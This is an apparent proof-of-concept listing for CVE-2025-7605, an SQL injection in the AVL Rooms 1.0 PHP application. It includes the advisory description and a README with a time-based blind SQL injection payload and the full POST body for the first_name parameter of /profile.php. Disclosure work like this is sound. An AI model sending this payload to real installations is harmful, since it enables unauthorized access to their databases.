CVE-2025-7605 PoC — code-projects AVL Rooms profile.php sql injection

Source

https://github.com/sunhuiHi666/CVE-2025-7605

Associated Vulnerability

Title: code-projects AVL Rooms profile.php sql injection (CVE-2025-7605)
Description:A vulnerability was found in code-projects AVL Rooms 1.0. It has been rated as critical. Affected by this issue is some unknown functionality of the file /profile.php. The manipulation of the argument first_name leads to sql injection. The attack may be launched remotely. The exploit has been disclosed to the public and may be used.

Readme

# CVE-2025-7605
code-projects AVL Rooms Project V1.0/profile.php SQL injection
# NAME OF AFFECTED PRODUCT(S)
AVL Rooms
# Vendor Homepage
https://code-projects.org/avl-rooms-in-php-css-javascript-and-mysql-free-download/
# submitter
dazhi
# Vulnerable File
/profile.php
# VERSION(S)
V1.0
# Software Link
https://code-projects.org/avl-rooms-in-php-css-javascript-and-mysql-free-download/

#  Payload:
---
    Parameter: first_name (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: first_name=1111' AND (SELECT 9037 FROM (SELECT(SLEEP(5)))RgOn) AND 'Tnsa'='Tnsa&last_name=1111&register_username=admin@qq.com&mobile_number=1111111111&city=11&state=11&action=
---

File Snapshot

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →